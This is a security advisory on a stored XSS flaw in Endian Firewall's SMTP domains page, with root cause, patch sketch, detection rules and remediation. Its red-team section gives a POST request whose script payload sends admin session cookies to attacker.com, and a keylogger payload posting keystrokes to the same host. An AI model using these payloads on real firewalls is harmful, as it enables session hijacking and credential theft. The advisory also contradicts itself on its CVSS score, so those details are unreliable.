CVE-2026-34815

Executive Summary

CVE-2026-34815 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the DOMAIN parameter in /cgi-bin/smtpdomains.cgi. This script is stored and executed when other users view the affected page, leading to session hijacking, credential theft, or further compromise of the firewall management interface. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a web application vulnerability in the Endian Firewall product.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – A victim must view the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 4.8). Exploitation requires authentication and user interaction, but stored XSS can lead to persistent compromise of admin sessions.

Deep Dive & Mechanics

The vulnerability exists in the smtpdomains.cgi CGI script, which handles SMTP domain configuration. The DOMAIN parameter is not properly sanitized before being stored and later rendered in the web interface. An authenticated attacker can submit a malicious payload (e.g., <script>alert('XSS')</script>) as the domain name. When an administrator or other user views the SMTP domains list, the payload executes in their browser context.

Root Cause: Lack of output encoding or input validation on the DOMAIN parameter. The application stores the raw input and reflects it in HTML without escaping.

Attack Flow:

1. Attacker authenticates to the Endian Firewall web interface.
2. Attacker navigates to the SMTP domains configuration page.
3. Attacker submits a new domain with a malicious JavaScript payload.
4. The payload is stored in the backend database.
5. When another user (e.g., admin) views the SMTP domains list, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# /cgi-bin/smtpdomains.cgi
my $domain = param('DOMAIN');
# No sanitization
store_domain($domain);
...
# In the view template
print "<td>$domain</td>";

Patched Code (Conceptual):

# /cgi-bin/smtpdomains.cgi
use HTML::Entities;
my $domain = param('DOMAIN');
$domain = encode_entities($domain);
store_domain($domain);
...
# In the view template
print "<td>$domain</td>";

The patch would involve HTML-encoding the DOMAIN parameter before storage or output, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Endian Firewall 3.3.25 or prior
• Valid credentials (e.g., admin:admin)

Exploit Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to https://target/cgi-bin/smtpdomains.cgi.
3. Submit a POST request with the following payload:

   POST /cgi-bin/smtpdomains.cgi HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Cookie: session=valid_session
   
   DOMAIN=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Wait for an admin to view the SMTP domains list.
5. The admin's session cookie is exfiltrated to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
});
</script>

Blue Team

Detection:

• Monitor HTTP requests to /cgi-bin/smtpdomains.cgi for suspicious DOMAIN parameters containing <script> or event handlers.
• Look for outbound connections to unknown domains from the firewall's management interface.

Hunting:

• Search logs for DOMAIN values containing HTML tags or JavaScript.
• Use the YARA rule below to scan stored configuration files.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/smtpdomains.cgi with DOMAIN containing <script> or onerror= etc.
  • Outbound connections to attacker-controlled domains from the firewall's IP.
• File System:
  • Configuration files containing <script> tags in domain entries (e.g., /etc/endian/firewall/smtpdomains.conf).
• Logs:
  • /var/log/httpd/access_log entries with POST /cgi-bin/smtpdomains.cgi and unusual DOMAIN values.

Detection Engineering

YARA Rule

rule CVE_2026_34815_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall SMTP domain configuration"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34815"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: Endian Firewall Stored XSS via SMTP Domains
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-34815
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/smtpdomains.cgi'
        cs-uri-query|contains: 'DOMAIN='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection and filter
falsepositives:
    - Legitimate domain names containing special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34815 Endian Firewall Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/smtpdomains.cgi"; http_uri; content:"DOMAIN="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch when available. If no patch exists, consider upgrading to a newer version of Endian Firewall.
2. Input Validation: Implement strict input validation on the DOMAIN parameter to allow only valid domain names (e.g., alphanumeric, dots, hyphens).
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the web interface.

Workarounds:

• Restrict access to the web interface to trusted IPs only.
• Use a Web Application Firewall (WAF) to block requests containing <script> in the DOMAIN parameter.
• Disable the SMTP domains feature if not required.

Long-term:

• Conduct a security audit of all CGI scripts for similar injection vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
Securing Digital Frontiers

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